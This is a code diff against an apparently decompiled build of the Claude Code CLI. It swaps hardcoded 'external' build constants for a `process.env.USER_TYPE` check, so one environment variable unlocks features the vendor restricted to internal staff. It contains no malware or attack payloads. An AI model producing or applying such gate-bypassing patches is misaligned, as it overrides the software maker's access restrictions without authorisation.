test("parses 'marketplace list'", () => {
|
||||
expect(parsePluginArgs("marketplace list")).toEqual({
|
||||
type: "marketplace",
|
||||
action: "list",
|
||||
});
|
||||
});
|
||||
|
||||
test("parses 'market' as alias for 'marketplace'", () => {
|
||||
expect(parsePluginArgs("market list")).toEqual({
|
||||
type: "marketplace",
|
||||
action: "list",
|
||||
});
|
||||
});
|
||||
|
||||
// Boundary
|
||||
test("handles extra whitespace", () => {
|
||||
expect(parsePluginArgs(" install my-plugin ")).toEqual({
|
||||
type: "install",
|
||||
plugin: "my-plugin",
|
||||
});
|
||||
});
|
||||
|
||||
test("handles unknown subcommand gracefully", () => {
|
||||
expect(parsePluginArgs("foobar")).toEqual({ type: "menu" });
|
||||
});
|
||||
|
||||
test("marketplace without action returns type only", () => {
|
||||
expect(parsePluginArgs("marketplace")).toEqual({ type: "marketplace" });
|
||||
});
|
||||
});
|
||||
@@ -119,7 +119,7 @@ export async function setupTerminal(theme: ThemeName): Promise<string> {
|
||||
maybeMarkProjectOnboardingComplete();
|
||||
|
||||
// Install shell completions (ant-only, since the completion command is ant-only)
|
||||
if (("external" as string) === 'ant') {
|
||||
if ((process.env.USER_TYPE) === 'ant') {
|
||||
result += await setupShellCompletion(theme);
|
||||
}
|
||||
return result;
|
||||
|
||||
@@ -29,10 +29,10 @@ const INTERNAL_MARKETPLACE_NAME = 'claude-code-marketplace';
|
||||
const INTERNAL_MARKETPLACE_REPO = 'anthropics/claude-code-marketplace';
|
||||
const OFFICIAL_MARKETPLACE_REPO = 'anthropics/claude-plugins-official';
|
||||
function getMarketplaceName(): string {
|
||||
return ("external" as string) === 'ant' ? INTERNAL_MARKETPLACE_NAME : OFFICIAL_MARKETPLACE_NAME;
|
||||
return (process.env.USER_TYPE) === 'ant' ? INTERNAL_MARKETPLACE_NAME : OFFICIAL_MARKETPLACE_NAME;
|
||||
}
|
||||
function getMarketplaceRepo(): string {
|
||||
return ("external" as string) === 'ant' ? INTERNAL_MARKETPLACE_REPO : OFFICIAL_MARKETPLACE_REPO;
|
||||
return (process.env.USER_TYPE) === 'ant' ? INTERNAL_MARKETPLACE_REPO : OFFICIAL_MARKETPLACE_REPO;
|
||||
}
|
||||
function getPluginId(): string {
|
||||
return `thinkback@${getMarketplaceName()}`;
|
||||
|
||||
@@ -53,7 +53,7 @@ const DEFAULT_INSTRUCTIONS: string = (typeof _rawPrompt === 'string' ? _rawPromp
|
||||
// Shell-set env only, so top-level process.env read is fine
|
||||
// — settings.env never injects this.
|
||||
/* eslint-disable custom-rules/no-process-env-top-level, custom-rules/no-sync-fs -- ant-only dev override; eager top-level read is the point (crash at startup, not silently inside the slash-command try/catch) */
|
||||
const ULTRAPLAN_INSTRUCTIONS: string = ("external" as string) === 'ant' && process.env.ULTRAPLAN_PROMPT_FILE ? readFileSync(process.env.ULTRAPLAN_PROMPT_FILE, 'utf8').trimEnd() : DEFAULT_INSTRUCTIONS;
|
||||
const ULTRAPLAN_INSTRUCTIONS: string = (process.env.USER_TYPE) === 'ant' && process.env.ULTRAPLAN_PROMPT_FILE ? readFileSync(process.env.ULTRAPLAN_PROMPT_FILE, 'utf8').trimEnd() : DEFAULT_INSTRUCTIONS;
|
||||
/* eslint-enable custom-rules/no-process-env-top-level, custom-rules/no-sync-fs */
|
||||
|
||||
/**
|
||||
@@ -464,7 +464,7 @@ export default {
|
||||
name: 'ultraplan',
|
||||
description: `~10–30 min · Claude Code on the web drafts an advanced plan you can edit and approve. See ${CCR_TERMS_URL}`,
|
||||
argumentHint: '<prompt>',
|
||||
isEnabled: () => ("external" as string) === 'ant',
|
||||
isEnabled: () => (process.env.USER_TYPE) === 'ant',
|
||||
load: () => Promise.resolve({
|
||||
call
|
||||
})
|
||||
|
||||
12
src/components/AntModelSwitchCallout.tsx
Normal file
12
src/components/AntModelSwitchCallout.tsx
Normal file
@@ -0,0 +1,12 @@
|
||||
// Stub — ant-only component, not available in decompiled build
|
||||
import React from 'react';
|
||||
|
||||
export function AntModelSwitchCallout(_props: {
|
||||
onDone: (selection: string, modelAlias?: string) => void;
|
||||
}): React.ReactElement | null {
|
||||
return null;
|
||||
}
|
||||
|
||||
export function shouldShowModelSwitchCallout(): boolean {
|
||||
return false;
|
||||
}
|
||||
@@ -6,7 +6,7 @@ import { Text, useInterval } from '../ink.js';
|
||||
|
||||
// Show DevBar for dev builds or all ants
|
||||
function shouldShowDevBar(): boolean {
|
||||
return ("production" as string) === 'development' || ("external" as string) === 'ant';
|
||||
return ("production" as string) === 'development' || (process.env.USER_TYPE) === 'ant';
|
||||
}
|
||||
export function DevBar() {
|
||||
const $ = _c(5);
|
||||
|
||||
@@ -32,7 +32,7 @@ import TextInput from './TextInput.js';
|
||||
|
||||
// This value was determined experimentally by testing the URL length limit
|
||||
const GITHUB_URL_LIMIT = 7250;
|
||||
const GITHUB_ISSUES_REPO_URL = ("external" as string) === 'ant' ? 'https://github.com/anthropics/claude-cli-internal/issues' : 'https://github.com/anthropics/claude-code/issues';
|
||||
const GITHUB_ISSUES_REPO_URL = (process.env.USER_TYPE) === 'ant' ? 'https://github.com/anthropics/claude-cli-internal/issues' : 'https://github.com/anthropics/claude-code/issues';
|
||||
type Props = {
|
||||
abortSignal: AbortSignal;
|
||||
messages: Message[];
|
||||
|
||||
@@ -87,7 +87,7 @@ export function useMemorySurvey(messages: Message[], isLoading: boolean, hasActi
|
||||
});
|
||||
}, []);
|
||||
const shouldShowTranscriptPrompt = useCallback((selected_0: FeedbackSurveyResponse) => {
|
||||
if (("external" as string) !== 'ant') {
|
||||
if ((process.env.USER_TYPE) !== 'ant') {
|
||||
return false;
|
||||
}
|
||||
if (selected_0 !== 'bad' && selected_0 !== 'good') {
|
||||
|
||||
@@ -26,7 +26,7 @@ export function createRecentActivityFeed(activities: LogOption[]): FeedConfig {
|
||||
}
|
||||
export function createWhatsNewFeed(releaseNotes: string[]): FeedConfig {
|
||||
const lines: FeedLine[] = releaseNotes.map(note => {
|
||||
if (("external" as string) === 'ant') {
|
||||
if ((process.env.USER_TYPE) === 'ant') {
|
||||
const match = note.match(/^(\d+\s+\w+\s+ago)\s+(.+)$/);
|
||||
if (match) {
|
||||
return {
|
||||
@@ -39,9 +39,9 @@ export function createWhatsNewFeed(releaseNotes: string[]): FeedConfig {
|
||||
text: note
|
||||
};
|
||||
});
|
||||
const emptyMessage = ("external" as string) === 'ant' ? 'Unable to fetch latest claude-cli-internal commits' : 'Check the Claude Code changelog for updates';
|
||||
const emptyMessage = (process.env.USER_TYPE) === 'ant' ? 'Unable to fetch latest claude-cli-internal commits' : 'Check the Claude Code changelog for updates';
|
||||
return {
|
||||
title: ("external" as string) === 'ant' ? "What's new [ANT-ONLY: Latest CC commits]" : "What's new",
|
||||
title: (process.env.USER_TYPE) === 'ant' ? "What's new [ANT-ONLY: Latest CC commits]" : "What's new",
|
||||
lines,
|
||||
footer: lines.length > 0 ? '/release-notes for more' : undefined,
|
||||
emptyMessage
|
||||
|
||||
@@ -7,7 +7,7 @@ export function MemoryUsageIndicator(): React.ReactNode {
|
||||
// the hook means the 10s polling interval is never set up in external builds.
|
||||
// USER_TYPE is a build-time constant, so the hook call below is either always
|
||||
// reached or dead-code-eliminated — never conditional at runtime.
|
||||
if (("external" as string) !== 'ant') {
|
||||
if ((process.env.USER_TYPE) !== 'ant') {
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
@@ -118,7 +118,7 @@ export function MessageSelector({
|
||||
...summarizeInputProps,
|
||||
onChange: setSummarizeFromFeedback
|
||||
});
|
||||
if (("external" as string) === 'ant') {
|
||||
if ((process.env.USER_TYPE) === 'ant') {
|
||||
baseOptions.push({
|
||||
value: 'summarize_up_to',
|
||||
label: 'Summarize up to here',
|
||||
|
||||
@@ -184,7 +184,7 @@ export function NativeAutoUpdater({
|
||||
{autoUpdaterResult?.status === 'install_failed' && <Text color="error" wrap="truncate">
|
||||
✗ Auto-update failed · Try <Text bold>/status</Text>
|
||||
</Text>}
|
||||
{maxVersionIssue && ("external" as string) === 'ant' && <Text color="warning">
|
||||
{maxVersionIssue && (process.env.USER_TYPE) === 'ant' && <Text color="warning">
|
||||
⚠ Known issue: {maxVersionIssue} · Run{' '}
|
||||
<Text bold>claude rollback --safe</Text> to downgrade
|
||||
</Text>}
|
||||
|
||||
@@ -294,8 +294,8 @@ function PromptInput({
|
||||
// otherwise bridge becomes an invisible selection stop.
|
||||
const bridgeFooterVisible = replBridgeConnected && (replBridgeExplicit || replBridgeReconnecting);
|
||||
// Tmux pill (ant-only) — visible when there's an active tungsten session
|
||||
const hasTungstenSession = useAppState(s => ("external" as string) === 'ant' && s.tungstenActiveSession !== undefined);
|
||||
const tmuxFooterVisible = ("external" as string) === 'ant' && hasTungstenSession;
|
||||
const hasTungstenSession = useAppState(s => (process.env.USER_TYPE) === 'ant' && s.tungstenActiveSession !== undefined);
|
||||
const tmuxFooterVisible = (process.env.USER_TYPE) === 'ant' && hasTungstenSession;
|
||||
// WebBrowser pill — visible when a browser is open
|
||||
const bagelFooterVisible = useAppState(s => false);
|
||||
const teamContext = useAppState(s => s.teamContext);
|
||||
@@ -391,7 +391,7 @@ function PromptInput({
|
||||
// exist. When only local_agent tasks are running (coordinator/fork mode), the
|
||||
// pill is absent, so the -1 sentinel would leave nothing visually selected.
|
||||
// In that case, skip -1 and treat 0 as the minimum selectable index.
|
||||
const hasBgTaskPill = useMemo(() => Object.values(tasks).some(t => isBackgroundTask(t) && !(("external" as string) === 'ant' && isPanelAgentTask(t))), [tasks]);
|
||||
const hasBgTaskPill = useMemo(() => Object.values(tasks).some(t => isBackgroundTask(t) && !((process.env.USER_TYPE) === 'ant' && isPanelAgentTask(t))), [tasks]);
|
||||
const minCoordinatorIndex = hasBgTaskPill ? -1 : 0;
|
||||
// Clamp index when tasks complete and the list shrinks beneath the cursor
|
||||
useEffect(() => {
|
||||
@@ -455,7 +455,7 @@ function PromptInput({
|
||||
// Panel shows retained-completed agents too (getVisibleAgentTasks), so the
|
||||
// pill must stay navigable whenever the panel has rows — not just when
|
||||
// something is running.
|
||||
const tasksFooterVisible = (runningTaskCount > 0 || ("external" as string) === 'ant' && coordinatorTaskCount > 0) && !shouldHideTasksFooter(tasks, showSpinnerTree);
|
||||
const tasksFooterVisible = (runningTaskCount > 0 || (process.env.USER_TYPE) === 'ant' && coordinatorTaskCount > 0) && !shouldHideTasksFooter(tasks, showSpinnerTree);
|
||||
const teamsFooterVisible = cachedTeams.length > 0;
|
||||
const footerItems = useMemo(() => [tasksFooterVisible && 'tasks', tmuxFooterVisible && 'tmux', bagelFooterVisible && 'bagel', teamsFooterVisible && 'teams', bridgeFooterVisible && 'bridge', companionFooterVisible && 'companion'].filter(Boolean) as FooterItem[], [tasksFooterVisible, tmuxFooterVisible, bagelFooterVisible, teamsFooterVisible, bridgeFooterVisible, companionFooterVisible]);
|
||||
|
||||
@@ -1742,7 +1742,7 @@ function PromptInput({
|
||||
useKeybindings({
|
||||
'footer:up': () => {
|
||||
// ↑ scrolls within the coordinator task list before leaving the pill
|
||||
if (tasksSelected && ("external" as string) === 'ant' && coordinatorTaskCount > 0 && coordinatorTaskIndex > minCoordinatorIndex) {
|
||||
if (tasksSelected && (process.env.USER_TYPE) === 'ant' && coordinatorTaskCount > 0 && coordinatorTaskIndex > minCoordinatorIndex) {
|
||||
setCoordinatorTaskIndex(prev => prev - 1);
|
||||
return;
|
||||
}
|
||||
@@ -1750,7 +1750,7 @@ function PromptInput({
|
||||
},
|
||||
'footer:down': () => {
|
||||
// ↓ scrolls within the coordinator task list, never leaves the pill
|
||||
if (tasksSelected && ("external" as string) === 'ant' && coordinatorTaskCount > 0) {
|
||||
if (tasksSelected && (process.env.USER_TYPE) === 'ant' && coordinatorTaskCount > 0) {
|
||||
if (coordinatorTaskIndex < coordinatorTaskCount - 1) {
|
||||
setCoordinatorTaskIndex(prev => prev + 1);
|
||||
}
|
||||
@@ -1813,7 +1813,7 @@ function PromptInput({
|
||||
}
|
||||
break;
|
||||
case 'tmux':
|
||||
if (("external" as string) === 'ant') {
|
||||
if ((process.env.USER_TYPE) === 'ant') {
|
||||
setAppState(prev => prev.tungstenPanelAutoHidden ? {
|
||||
...prev,
|
||||
tungstenPanelAutoHidden: false
|
||||
|
||||
@@ -143,11 +143,11 @@ function PromptInputFooter({
|
||||
</Box>
|
||||
<Box flexShrink={1} gap={1}>
|
||||
{isFullscreen ? null : <Notifications apiKeyStatus={apiKeyStatus} autoUpdaterResult={autoUpdaterResult} debug={debug} isAutoUpdating={isAutoUpdating} verbose={verbose} messages={messages} onAutoUpdaterResult={onAutoUpdaterResult} onChangeIsUpdating={onChangeIsUpdating} ideSelection={ideSelection} mcpClients={mcpClients} isInputWrapped={isInputWrapped} isNarrow={isNarrow} />}
|
||||
{("external" as string) === 'ant' && isUndercover() && <Text dimColor>undercover</Text>}
|
||||
{(process.env.USER_TYPE) === 'ant' && isUndercover() && <Text dimColor>undercover</Text>}
|
||||
<BridgeStatusIndicator bridgeSelected={bridgeSelected} />
|
||||
</Box>
|
||||
</Box>
|
||||
{("external" as string) === 'ant' && <CoordinatorTaskPanel />}
|
||||
{(process.env.USER_TYPE) === 'ant' && <CoordinatorTaskPanel />}
|
||||
</>;
|
||||
}
|
||||
export default memo(PromptInputFooter);
|
||||
|
||||
@@ -260,7 +260,7 @@ function ModeIndicator({
|
||||
const expandedView = useAppState(s_3 => s_3.expandedView);
|
||||
const showSpinnerTree = expandedView === 'teammates';
|
||||
const prStatus = usePrStatus(isLoading, isPrStatusEnabled());
|
||||
const hasTmuxSession = useAppState(s_4 => ("external" as string) === 'ant' && s_4.tungstenActiveSession !== undefined);
|
||||
const hasTmuxSession = useAppState(s_4 => (process.env.USER_TYPE) === 'ant' && s_4.tungstenActiveSession !== undefined);
|
||||
const nextTickAt = useSyncExternalStore(proactiveModule?.subscribeToProactiveChanges ?? NO_OP_SUBSCRIBE, proactiveModule?.getNextTickAt ?? NULL, NULL);
|
||||
// biome-ignore lint/correctness/useHookAtTopLevel: feature() is a compile-time constant
|
||||
const voiceEnabled = feature('VOICE_MODE') ? useVoiceEnabled() : false;
|
||||
@@ -274,7 +274,7 @@ function ModeIndicator({
|
||||
const selGetState = useSelection().getState;
|
||||
const hasNextTick = nextTickAt !== null;
|
||||
const isCoordinator = feature('COORDINATOR_MODE') ? coordinatorModule?.isCoordinatorMode() === true : false;
|
||||
const runningTaskCount = useMemo(() => count(Object.values(tasks), t => isBackgroundTask(t) && !(("external" as string) === 'ant' && isPanelAgentTask(t))), [tasks]);
|
||||
const runningTaskCount = useMemo(() => count(Object.values(tasks), t => isBackgroundTask(t) && !((process.env.USER_TYPE) === 'ant' && isPanelAgentTask(t))), [tasks]);
|
||||
const tasksV2 = useTasksV2();
|
||||
const hasTaskItems = tasksV2 !== undefined && tasksV2.length > 0;
|
||||
const escShortcut = useShortcutDisplay('chat:cancel', 'Chat', 'esc').toLowerCase();
|
||||
@@ -365,7 +365,7 @@ function ModeIndicator({
|
||||
// its click-target Box isn't nested inside the <Text wrap="truncate">
|
||||
// wrapper (reconciler throws on Box-in-Text).
|
||||
// Tmux pill (ant-only) — appears right after tasks in nav order
|
||||
...(("external" as string) === 'ant' && hasTmuxSession ? [<TungstenPill key="tmux" selected={tmuxSelected} />] : []), ...(isAgentSwarmsEnabled() && hasTeams ? [<TeamStatus key="teams" teamsSelected={teamsSelected} showHint={showHint && !hasBackgroundTasks} />] : []), ...(shouldShowPrStatus ? [<PrBadge key="pr-status" number={prStatus.number!} url={prStatus.url!} reviewState={prStatus.reviewState!} />] : [])];
|
||||
...((process.env.USER_TYPE) === 'ant' && hasTmuxSession ? [<TungstenPill key="tmux" selected={tmuxSelected} />] : []), ...(isAgentSwarmsEnabled() && hasTeams ? [<TeamStatus key="teams" teamsSelected={teamsSelected} showHint={showHint && !hasBackgroundTasks} />] : []), ...(shouldShowPrStatus ? [<PrBadge key="pr-status" number={prStatus.number!} url={prStatus.url!} reviewState={prStatus.reviewState!} />] : [])];
|
||||
|
||||
// Check if any in-process teammates exist (for hint text cycling)
|
||||
const hasAnyInProcessTeammates = Object.values(tasks).some(t_2 => t_2.type === 'in_process_teammate' && t_2.status === 'running');
|
||||
@@ -399,7 +399,7 @@ function ModeIndicator({
|
||||
}
|
||||
|
||||
// Add "↓ to manage tasks" hint when panel has visible rows
|
||||
const hasCoordinatorTasks = ("external" as string) === 'ant' && getVisibleAgentTasks(tasks).length > 0;
|
||||
const hasCoordinatorTasks = (process.env.USER_TYPE) === 'ant' && getVisibleAgentTasks(tasks).length > 0;
|
||||
|
||||
// Tasks pill renders as a Box sibling (not a parts entry) so its
|
||||
// click-target Box isn't nested inside <Text wrap="truncate"> — the
|
||||
|
||||
@@ -392,7 +392,7 @@ export function Config({
|
||||
}
|
||||
}] : []),
|
||||
// Speculation toggle (ant-only)
|
||||
...(("external" as string) === 'ant' ? [{
|
||||
...((process.env.USER_TYPE) === 'ant' ? [{
|
||||
id: 'speculationEnabled',
|
||||
label: 'Speculative execution',
|
||||
value: globalConfig.speculationEnabled ?? true,
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import { c as _c } from "react/compiler-runtime";
|
||||
import { c as _c } from 'react/compiler-runtime';
|
||||
// biome-ignore-all assist/source/organizeImports: ANT-ONLY import markers must not be reordered
|
||||
import { Box, Text } from '../ink.js';
|
||||
import * as React from 'react';
|
||||
@@ -46,7 +46,15 @@ type Props = {
|
||||
pauseStartTimeRef: React.RefObject<number | null>;
|
||||
spinnerTip?: string;
|
||||
responseLengthRef: React.RefObject<number>;
|
||||
apiMetricsRef?: React.RefObject<Array<{ ttftMs: number; firstTokenTime: number; lastTokenTime: number; responseLengthBaseline: number; endResponseLength: number }>>;
|
||||
apiMetricsRef?: React.RefObject<
|
||||
Array<{
|
||||
ttftMs: number;
|
||||
firstTokenTime: number;
|
||||
lastTokenTime: number;
|
||||
responseLengthBaseline: number;
|
||||
endResponseLength: number;
|
||||
}>
|
||||
>;
|
||||
overrideColor?: keyof Theme | null;
|
||||
overrideShimmerColor?: keyof Theme | null;
|
||||
overrideMessage?: string | null;
|
||||
@@ -57,6 +65,9 @@ type Props = {
|
||||
leaderIsIdle?: boolean;
|
||||
};
|
||||
|
||||
// Polyfill ant-only global functions that are normally injected by the bundler.
|
||||
const computeTtftText = (metrics: ApiMetricEntry[]): string => '';
|
||||
|
||||
// Thin wrapper: branches on isBriefOnly so the two variants have independent
|
||||
// hook call chains. Without this split, toggling /brief mid-render would
|
||||
// violate Rules of Hooks (the inner variant calls ~10 more hooks).
|
||||
@@ -68,14 +79,22 @@ export function SpinnerWithVerb(props: Props): React.ReactNode {
|
||||
// teammate view needs the real spinner (which shows teammate status).
|
||||
const viewingAgentTaskId = useAppState(s_0 => s_0.viewingAgentTaskId);
|
||||
// Hoisted to mount-time — this component re-renders at animation framerate.
|
||||
const briefEnvEnabled = feature('KAIROS') || feature('KAIROS_BRIEF') ?
|
||||
// biome-ignore lint/correctness/useHookAtTopLevel: feature() is a compile-time constant
|
||||
useMemo(() => isEnvTruthy(process.env.CLAUDE_CODE_BRIEF), []) : false;
|
||||
const briefEnvEnabled =
|
||||
feature('KAIROS') || feature('KAIROS_BRIEF')
|
||||
? // biome-ignore lint/correctness/useHookAtTopLevel: feature() is a compile-time constant
|
||||
useMemo(() => isEnvTruthy(process.env.CLAUDE_CODE_BRIEF), [])
|
||||
: false;
|
||||
|
||||
// Runtime gate mirrors isBriefEnabled() but inlined — importing from
|
||||
// BriefTool.ts would leak tool-name strings into external builds. Single
|
||||
// spinner instance → hooks stay unconditional (two subs, negligible).
|
||||
if ((feature('KAIROS') || feature('KAIROS_BRIEF')) && (getKairosActive() || getUserMsgOptIn() && (briefEnvEnabled || getFeatureValue_CACHED_MAY_BE_STALE('tengu_kairos_brief', false))) && isBriefOnly && !viewingAgentTaskId) {
|
||||
if (
|
||||
(feature('KAIROS') || feature('KAIROS_BRIEF')) &&
|
||||
(getKairosActive() ||
|
||||
(getUserMsgOptIn() && (briefEnvEnabled || getFeatureValue_CACHED_MAY_BE_STALE('tengu_kairos_brief', false)))) &&
|
||||
isBriefOnly &&
|
||||
!viewingAgentTaskId
|
||||
) {
|
||||
return <BriefSpinner mode={props.mode} overrideMessage={props.overrideMessage} />;
|
||||
}
|
||||
return <SpinnerWithVerbInner {...props} />;
|
||||
@@ -87,13 +106,14 @@ function SpinnerWithVerbInner({
|
||||
pauseStartTimeRef,
|
||||
spinnerTip,
|
||||
responseLengthRef,
|
||||
apiMetricsRef,
|
||||
overrideColor,
|
||||
overrideShimmerColor,
|
||||
overrideMessage,
|
||||
spinnerSuffix,
|
||||
verbose,
|
||||
hasActiveTools = false,
|
||||
leaderIsIdle = false
|
||||
leaderIsIdle = false,
|
||||
}: Props): React.ReactNode {
|
||||
const settings = useSettings();
|
||||
const reducedMotion = settings.prefersReducedMotion ?? false;
|
||||
@@ -112,13 +132,13 @@ function SpinnerWithVerbInner({
|
||||
const selectedIPAgentIndex = useAppState(s_2 => s_2.selectedIPAgentIndex);
|
||||
const viewSelectionMode = useAppState(s_3 => s_3.viewSelectionMode);
|
||||
// Get foregrounded teammate (if viewing a teammate's transcript)
|
||||
const foregroundedTeammate = viewingAgentTaskId ? getViewedTeammateTask({
|
||||
viewingAgentTaskId,
|
||||
tasks
|
||||
}) : undefined;
|
||||
const {
|
||||
columns
|
||||
} = useTerminalSize();
|
||||
const foregroundedTeammate = viewingAgentTaskId
|
||||
? getViewedTeammateTask({
|
||||
viewingAgentTaskId,
|
||||
tasks,
|
||||
})
|
||||
: undefined;
|
||||
const { columns } = useTerminalSize();
|
||||
const tasksV2 = useTasksV2();
|
||||
|
||||
// Track thinking status: 'thinking' | number (duration in ms) | null
|
||||
@@ -168,7 +188,10 @@ function SpinnerWithVerbInner({
|
||||
|
||||
// Leader's own verb (always the leader's, regardless of who is foregrounded)
|
||||
const leaderVerb = overrideMessage ?? currentTodo?.activeForm ?? currentTodo?.subject ?? randomVerb;
|
||||
const effectiveVerb = foregroundedTeammate && !foregroundedTeammate.isIdle ? foregroundedTeammate.spinnerVerb ?? randomVerb : leaderVerb;
|
||||
const effectiveVerb =
|
||||
foregroundedTeammate && !foregroundedTeammate.isIdle
|
||||
? (foregroundedTeammate.spinnerVerb ?? randomVerb)
|
||||
: leaderVerb;
|
||||
const message = effectiveVerb + '…';
|
||||
|
||||
// Track CLI activity when spinner is active
|
||||
@@ -203,7 +226,10 @@ function SpinnerWithVerbInner({
|
||||
// Stale read of the refs for showBtwTip below — we're off the 50ms clock
|
||||
// so this only updates when props/app state change, which is sufficient for
|
||||
// a coarse 30s threshold.
|
||||
const elapsedSnapshot = pauseStartTimeRef.current !== null ? pauseStartTimeRef.current - loadingStartTimeRef.current - totalPausedMsRef.current : Date.now() - loadingStartTimeRef.current - totalPausedMsRef.current;
|
||||
const elapsedSnapshot =
|
||||
pauseStartTimeRef.current !== null
|
||||
? pauseStartTimeRef.current - loadingStartTimeRef.current - totalPausedMsRef.current
|
||||
: Date.now() - loadingStartTimeRef.current - totalPausedMsRef.current;
|
||||
|
||||
// Leader token count for TeammateSpinnerTree — read raw (non-animated) from
|
||||
// the ref. The tree is only shown when teammates are running; teammate
|
||||
@@ -220,7 +246,7 @@ function SpinnerWithVerbInner({
|
||||
// doesn't trigger re-renders; we pick up updates on the parent's ~25x/turn
|
||||
// re-render cadence, same as the old ApiMetricsLine did.
|
||||
let ttftText: string | null = null;
|
||||
if (("external" as string) === 'ant' && apiMetricsRef?.current && apiMetricsRef.current.length > 0) {
|
||||
if (process.env.USER_TYPE === 'ant' && apiMetricsRef?.current && apiMetricsRef.current.length > 0) {
|
||||
ttftText = computeTtftText(apiMetricsRef.current);
|
||||
}
|
||||
|
||||
@@ -228,26 +254,49 @@ function SpinnerWithVerbInner({
|
||||
// show a static dim idle display instead of the animated spinner — otherwise
|
||||
// useStalledAnimation detects no new tokens after 3s and turns the spinner red.
|
||||
if (leaderIsIdle && hasRunningTeammates && !foregroundedTeammate) {
|
||||
return <Box flexDirection="column" width="100%" alignItems="flex-start">
|
||||
return (
|
||||
<Box flexDirection="column" width="100%" alignItems="flex-start">
|
||||
<Box flexDirection="row" flexWrap="wrap" marginTop={1} width="100%">
|
||||
<Text dimColor>
|
||||
{TEARDROP_ASTERISK} Idle
|
||||
{!allIdle && ' · teammates running'}
|
||||
</Text>
|
||||
</Box>
|
||||
{showSpinnerTree && <TeammateSpinnerTree selectedIndex={selectedIPAgentIndex} isInSelectionMode={viewSelectionMode === 'selecting-agent'} allIdle={allIdle} leaderTokenCount={leaderTokenCount} leaderIdleText="Idle" />}
|
||||
</Box>;
|
||||
{showSpinnerTree && (
|
||||
<TeammateSpinnerTree
|
||||
selectedIndex={selectedIPAgentIndex}
|
||||
isInSelectionMode={viewSelectionMode === 'selecting-agent'}
|
||||
allIdle={allIdle}
|
||||
leaderTokenCount={leaderTokenCount}
|
||||
leaderIdleText="Idle"
|
||||
/>
|
||||
)}
|
||||
</Box>
|
||||
);
|
||||
}
|
||||
|
||||
// When viewing an idle teammate, show static idle display instead of animated spinner
|
||||
if (foregroundedTeammate?.isIdle) {
|
||||
const idleText = allIdle ? `${TEARDROP_ASTERISK} Worked for ${formatDuration(Date.now() - foregroundedTeammate.startTime)}` : `${TEARDROP_ASTERISK} Idle`;
|
||||
return <Box flexDirection="column" width="100%" alignItems="flex-start">
|
||||
const idleText = allIdle
|
||||
? `${TEARDROP_ASTERISK} Worked for ${formatDuration(Date.now() - foregroundedTeammate.startTime)}`
|
||||
: `${TEARDROP_ASTERISK} Idle`;
|
||||
return (
|
||||
<Box flexDirection="column" width="100%" alignItems="flex-start">
|
||||
<Box flexDirection="row" flexWrap="wrap" marginTop={1} width="100%">
|
||||
<Text dimColor>{idleText}</Text>
|
||||
</Box>
|
||||
{showSpinnerTree && hasRunningTeammates && <TeammateSpinnerTree selectedIndex={selectedIPAgentIndex} isInSelectionMode={viewSelectionMode === 'selecting-agent'} allIdle={allIdle} leaderVerb={leaderIsIdle ? undefined : leaderVerb} leaderIdleText={leaderIsIdle ? 'Idle' : undefined} leaderTokenCount={leaderTokenCount} />}
|
||||
</Box>;
|
||||
{showSpinnerTree && hasRunningTeammates && (
|
||||
<TeammateSpinnerTree
|
||||
selectedIndex={selectedIPAgentIndex}
|
||||
isInSelectionMode={viewSelectionMode === 'selecting-agent'}
|
||||
allIdle={allIdle}
|
||||
leaderVerb={leaderIsIdle ? undefined : leaderVerb}
|
||||
leaderIdleText={leaderIsIdle ? 'Idle' : undefined}
|
||||
leaderTokenCount={leaderTokenCount}
|
||||
/>
|
||||
)}
|
||||
</Box>
|
||||
);
|
||||
}
|
||||
|
||||
// Time-based tip overrides: coarse thresholds so a stale ref read (we're
|
||||
@@ -257,7 +306,13 @@ function SpinnerWithVerbInner({
|
||||
const tipsEnabled = settings.spinnerTipsEnabled !== false;
|
||||
const showClearTip = tipsEnabled && elapsedSnapshot > 1_800_000;
|
||||
const showBtwTip = tipsEnabled && elapsedSnapshot > 30_000 && !getGlobalConfig().btwUseCount;
|
||||
const effectiveTip = contextTipsActive ? undefined : showClearTip && !nextTask ? 'Use /clear to start fresh when switching topics and free up context' : showBtwTip && !nextTask ? "Use /btw to ask a quick side question without interrupting Claude's current work" : spinnerTip;
|
||||
const effectiveTip = contextTipsActive
|
||||
? undefined
|
||||
: showClearTip && !nextTask
|
||||
? 'Use /clear to start fresh when switching topics and free up context'
|
||||
: showBtwTip && !nextTask
|
||||
? "Use /btw to ask a quick side question without interrupting Claude's current work"
|
||||
: spinnerTip;
|
||||
|
||||
// Budget text (ant-only) — shown above the tip line
|
||||
let budgetText: string | null = null;
|
||||
@@ -268,37 +323,77 @@ function SpinnerWithVerbInner({
|
||||
if (tokens >= budget) {
|
||||
budgetText = `Target: ${formatNumber(tokens)} used (${formatNumber(budget)} min ${figures.tick})`;
|
||||
} else {
|
||||
const pct = Math.round(tokens / budget * 100);
|
||||
const pct = Math.round((tokens / budget) * 100);
|
||||
const remaining = budget - tokens;
|
||||
const rate = elapsedSnapshot > 5000 && tokens >= 2000 ? tokens / elapsedSnapshot : 0;
|
||||
const eta = rate > 0 ? ` \u00B7 ~${formatDuration(remaining / rate, {
|
||||
mostSignificantOnly: true
|
||||
})}` : '';
|
||||
const eta =
|
||||
rate > 0
|
||||
? ` \u00B7 ~${formatDuration(remaining / rate, {
|
||||
mostSignificantOnly: true,
|
||||
})}`
|
||||
: '';
|
||||
budgetText = `Target: ${formatNumber(tokens)} / ${formatNumber(budget)} (${pct}%)${eta}`;
|
||||
}
|
||||
}
|
||||
}
|
||||
return <Box flexDirection="column" width="100%" alignItems="flex-start">
|
||||
<SpinnerAnimationRow mode={mode} reducedMotion={reducedMotion} hasActiveTools={hasActiveTools} responseLengthRef={responseLengthRef} message={message} messageColor={messageColor} shimmerColor={shimmerColor} overrideColor={overrideColor} loadingStartTimeRef={loadingStartTimeRef} totalPausedMsRef={totalPausedMsRef} pauseStartTimeRef={pauseStartTimeRef} spinnerSuffix={spinnerSuffix} verbose={verbose} columns={columns} hasRunningTeammates={hasRunningTeammates} teammateTokens={teammateTokens} foregroundedTeammate={foregroundedTeammate} leaderIsIdle={leaderIsIdle} thinkingStatus={thinkingStatus} effortSuffix={effortSuffix} />
|
||||
